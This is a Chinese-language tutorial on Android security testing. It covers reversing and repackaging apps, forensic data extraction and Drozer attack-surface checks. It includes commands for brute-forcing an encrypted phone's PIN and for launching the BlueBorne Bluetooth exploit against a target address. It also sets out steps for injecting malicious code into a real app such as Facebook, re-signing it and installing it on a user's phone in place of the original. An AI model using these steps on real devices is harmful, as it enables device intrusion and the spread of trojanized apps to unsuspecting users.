當前位置:
首頁 > 新聞 > 測試Android應用程序的逆向方法和尋找攻擊面的技巧

測試Android應用程序的逆向方法和尋找攻擊面的技巧

背景


在過去的這個學期里,我報名參加了一個網路安全的課程。在期末考時我們的教授允許我們自己選擇測試項目來完成,並作為期末考的成績而無需再參加期末筆試。我立馬抓住了這個機會(呵呵,誰想參加期末考呢?),我希望通過實踐來了解更多關於移動安全方面的內容。


在研究和閱讀了相關的技術文檔後,我決定自己寫一篇教程。這是我人生中的第一篇與移動相關的教程文章,因此它可能並不全面。但我相信分享即是關懷,所以如果你有任何的意見或建議,可以隨時與我取得聯繫。


Android 架構

在Android架構中有5個層:應用程序,應用程序框架,庫,運行時環境和Linux內核層。


應用程序層包含由用戶安裝的本機應用和第三方應用。應用程序框架層提供管理和控制應用程序層的服務,包括4個組件:活動,內容,服務,通知和廣播。庫層控制和訪問應用程序數據。運行時包括Dalvik VM,所有java文件都以Dalvik格式(dex)進行轉換,以在運行之前進行優化。內核層控制核心服務,如電源控制,安全性,硬體,內存管理等。


工具


我們先來下載Santoku。這是一個非常棒的開源虛擬機,專用於移動取證,分析和安全性。其中包含了我使用的所有工具。




  • VM: Santoku (https://santoku-linux.com/download/)


準備


在開始之前,你需要將手機置於開發者模式,並打開USB調試。設置步驟如下:



設置 -> 關於手機 -> 版本號 -> 連擊7次 -> 開發者設置模式打開 -> 轉到USB調試 -> 啟用


現在你可以將手機連接到計算機,並檢查是否成功:

adb devices -l


一旦成功連接,你應該能夠通過以上命令列出該設備。注意設備ID,你可以使用該ID來打開shell。


接下來,打開一個shell:

adb -s ce20c6e4 shell


現在,你就可以像在Linux環境中一樣,例如列出所有文件及其許可權:




這裡有一篇關於爆破安卓PIN 碼的文章:https://santoku-linux.com/howto/mobile-forensics/how-to-brute-force-android-encryption/


Header

$ adb shell dd if=/dev/block/mmcblk0p2 of=tmp_header bs=512 count=1
$ adb pull tmp_header ~/Desktop/tmp_header

Footer

$ adb shell mkdir /efs
$ adb shell mount -t yaffs2 /dev/block/mtdblock6 /efs
$ adb pull /efs/userdata_footer ~/Desktop/tmp_footer

爆破 PIN:

$ bruteforce_stdcrypto ~/Desktop/t/tmp_header ~/Desktop/t/tmp_footer

另一件非常有趣的事是啟動tcpdump來收集一些數據包,並使用Wireshark來讀取流量:

adb shell 「tcpdump -s 0 -w?—?| nc -l -p 4444」

adb forward tcp:4444 tcp:4444

nc localhost 4444 | sudo wireshark -k -S -i

移動取證


接下來,我將用到一個在移動取證方面非常棒的工具AFLogical OSE。如果你想要提取出所有的文件,例如呼叫日誌,mms,簡訊,圖片,手機上安裝的應用程序,其版本……等,這個工具將能幫到你。



導航到取證文件夾可以看到,提取的文件分別被放置在以日期命名的不同文件夾當中:


注意:

這是我測試的Android手機,我只在Defcon期間使用…因此只有3個日期的數據。單擊相應的文件夾後你可以看到如下內容:



我們雙擊打開一個csv文件內容如下:



以及打開info.xml文件,如下所示:



有趣的還在後頭:




  • 使用Blueborne解決手機的藍牙問題(詳情請參閱:https://armis.com/blueborne/)

$ sudo apt-get install libbluetooth-dev
$sudo pip2 install pybluez pwn scapy

要運行漏洞利用程序,此存儲庫的根目錄必須位於PYTHONPATH中。

$ export PYTHONPATH=$PYTHONPATH:<repo-path>
$ sudo python2 doit.py hci0 <target-bdaddr> <attacker-ip>

逆向一個 APK


在Android手機上對應用進行逆向實際上非常的容易。所需的工具及步驟如下:


工具



USB Debugger


Dex2jar


JD-Gui


步驟


從手機中提取的info.xml列表中下載應用程序


將應用程序反編譯為.java文件


插入惡意代碼並確保它可以運行


簽名最終的apk文件


在用戶手機上安裝apk文件 - 替換原始應用程序


APK是一個壓縮包,包含開發人員編譯的證書,文件,清單,資源和dex代碼。要獲取應用程序的apk,你只需簡單的網路搜索即可。



示例下載:Facebook(57.2mb),Skype(~30.7mb)和Twitter(29.8mb)。這裡我將以Facebook apk文件為例。


首先,使用dex2jar來提取apk。之後,該工具會將所有新的.dex apk轉換後的文件保存到.jar文件中。


文件夾中的內容如下:



要查看jar文件的源碼,需要用到一個名為JD-GUI的工具。JD-GUI是一個Java反編譯工具。現在,我們可以看到來自Facebook的所有聲明的函數和源碼。此時,所有文件都是可讀和可修改的:



對於那些想要嘗試將一些代碼添加到應用程序並重新打包的人,以下是一個很好的例子:

$ adb connect 10.0.2.5
$ adb pull /system/framework/framework-res.apk
$ apktool if framework-res.apk
$ apktool d -r 你新的app名稱.apk # 安裝你的app

Open打開 - 修改現有的smali文件並創建惡意代碼放到smali/com文件夾中。然後使用apktool重新打包b -f [app之前的名稱]( - f覆蓋現有文件)


創建一個用於簽名 apk 文件的密鑰:

keytool -alias am -genkey -v -keystore my-release-key.keystore-keyalg RSA -keysize 2048 -validity 10000

簽名 apk 文件:

$ jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1-keystore my-releasekey.keystore [your-old-app-name].apk
[$ jarsigner -keystore debug.keystore -sigalg SHA1withRSA test.apk androiddebugkey
$ jarsigner -keystore debug.keystore -verify -verbose -certs test.apk]

安裝新apk文件:

$ adb install [你的app名稱].apk

漏洞查找


接下來,最後我們將用到一個名為Drozer的工具(https://github.com/mwrlabs/drozer)。


Drozer 簡介


Drozer是MWR Labs開發的一款Android安全測試框架,是目前最好的Android安全測試工具之一。它允許你以一個普通android應用的身份與其他應用和操作系統交互。在Web世界已經有了許多安全測試工具了,我們只需要給出一個目標,這些工具就會自動為我們安全測試報告。但Drozer與這樣的自動化掃描器不同,Drozer是一種互動式的安全測試工具。使用Drozer進行安全測試,用戶在自己的工作站上輸入命令,Drozer會將命令發送到Android設備上的代理程序執行。


Drozer 安裝

$ adb install drozer-agent.apk

接下來,由於Drozer默認運行在31415埠上,我們可以將當前的adb埠轉發到默認的Drozer埠。

$ adb forward tcp:31415 tcp:31415
Start a drozer session over default port 31415:
$ drozer console connect

成功連接後應該會顯示一個小的Android圖標和運行界面在你的手機上。


一些你可能會用到的Drozer命令:list,shell,clean,load,module,unset,set,shell,run MODULE。


例如,檢索所有包列表的信息:

dz> run app.package.list

確定一個攻擊面(用你的應用程序名替換):

dz> run app.package.attacksurface sie571.sie571

最後,我為大家找了一些有關使用Drozer進行app滲透測試的技術文章。如果你對此感興趣,建議你花些時間來閱讀它們。



https://github.com/tanprathan/MobileApp-Pentest-Cheatsheet


https://www.tutorialspoint.com/android_penetration_testing/android_penetration_testing_overview.asp


https://learn.techbeacon.com/units/how-get-started-mobile-penetration-testing-android


https://www.owasp.org/index.php/OWASP_Mobile_Security_Testing_Guide


https://go.armis.com/hubfs/BlueBorne%20-%20Android%20Exploit%20(20171130).pdf?t=1541104049654.pdf?t=1541104049654)


https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf


https://resources.infosecinstitute.com/android-penetration-tools-walkthrough-series-drozer/#gref


*參考來源:usejournal,FB小編secist編譯,轉載請註明來自FreeBuf.COM


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 FreeBuf 的精彩文章:

3.83億人數據泄露中有你的么?萬豪國際推出在線查詢通道
rtfraptor:從惡意RTF文件中提取OLEv1對象的工具

TAG:FreeBuf |